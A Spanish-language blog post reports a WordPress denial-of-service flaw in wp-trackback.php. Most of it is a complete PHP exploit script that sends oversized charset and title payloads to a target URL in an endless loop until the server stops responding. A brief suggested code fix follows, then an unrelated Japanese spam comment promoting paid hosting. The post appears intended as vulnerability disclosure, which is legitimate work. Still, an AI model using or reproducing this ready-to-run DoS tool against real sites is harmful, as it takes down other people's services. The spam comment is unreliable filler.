Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress

pwnpressjcarlosn ha descubierto una vulnerabilidad en el fichero wp-trackbacks.php de wordpress, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies.
Como él mismo nos cuenta:

Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.

El problema fue reportado a la seguridad en wordpress.com y no se obtuvo respuesta, luego se intentó comunicar con el creador de wordpress y al pasar un par de días, obtuvo una respuesta de que lo solucionarán en algún momento pero no de la forma que él proponia, sino que ellos mismos buscarán cómo hacerlo.
La misma persona que hizo público este bug, publicó un exploit y una posible solución.

El exploit:

  1. < ?php
  2.     //wordpress Resource exhaustion Exploit
  3.     //https://rooibo.wordpress.com/
  4.     //security@wordpress.org contacted and get a response,
  5.     //but no solution available.
  6.     if(count($argv) < 2) {
  7.     echo “You need to specify a url to attack\n”;
  8.     exit;
  9.     }
  10.  
  11.     $url = $argv[1];
  12.  
  13.     $data = parse_url($url);
  14.     if(count($data) < 2) {
  15.     echo “The url should have https:// in front of it, and should be complete.\n”;
  16.     exit;
  17.     }
  18.  
  19.     if(count($data) == 2) {
  20.     $path = ”;
  21.     } else {
  22.     $path = $data[‘path’];
  23.     }
  24.     $path = trim($path,’/‘);
  25.    $path .= ‘/wp-trackback.php’;
  26.    if($path{0} != ‘/’) {
  27.    $path = ‘/’.$path;
  28.    }
  29.  
  30.    $b = “”;
  31.    $b = str_pad($b,140000,’ABCEDFG’);
  32.    $b = utf8_encode($b);
  33.    $charset = “”;
  34.    $charset = str_pad($charset,140000,”UTF-8,”);
  35.  
  36.    $str = ‘charset=’.urlencode($charset);
  37.    $str .= ‘&url=www.example.com’;
  38.    $str .= ‘&title=’.$b;
  39.    $str .= ‘&blog_name=lol’;
  40.    $str .= ‘&excerpt=lol’;
  41.  
  42.    $count = 0;
  43.    while(1) {
  44.    $fp = @fsockopen($data[‘host‘],80);
  45.    if(!$fp) {
  46.    if($count > 0) {
  47.    echo “down!!!!\n”;
  48.    exit;
  49.    }
  50.    echo “unable to connect to: “.$data[‘host‘].”\n”;
  51.    exit;
  52.    }
  53.  
  54.    fputs($fp, “POST $path HTTP/1.1\r\n”);
  55.    fputs($fp, “Host: “.$data[‘host‘].”\r\n”);
  56.    fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
  57.    fputs($fp, “Content-length: “.strlen($str).”\r\n”);
  58.    fputs($fp, “Connection: close\r\n\r\n”);
  59.    fputs($fp, $str.”\r\n\r\n”);
  60.  
  61.    echo “hit!\n”;
  62.    $count++;
  63.    }
  64.  
  65.    ?>

La solución:

Cambiar

  1. $charset = $_POST[‘charset’];

Por

  1. $charset = str_replace(”,”,”",$_POST[‘charset’]);
  2. if(is_array($charset)) { exit; }

1 comentario

  1. 趣味などではなく現実的にずっと、ネットをうまく活用してお金を稼ぎたいという目標があって、ビジネスのためのホームページを新規で作成する場合では、無料のものではなく有料のレンタルサーバーのレンタルを申し込んで、新規の独自ドメインを手に入れる
    どういった機能が必要としているのかは、個々で違うわけですが、どのくらいのものか予想できない方は、まずは普通の機能をある程度備えて対応可能なレンタルサーバーを選ぶことを、強くおすすめしています。
    なんといってもホームページを運営する方は、私的に言わせていただくと、出来れば有料の格安レンタルサーバーで料金が安いものを探していただきまして、知る人も多い独自ドメイン(.comなどのアドレス)を取得していただいてから、運営をはじめることを迷うことなくおすすめいたします。

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Esto sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.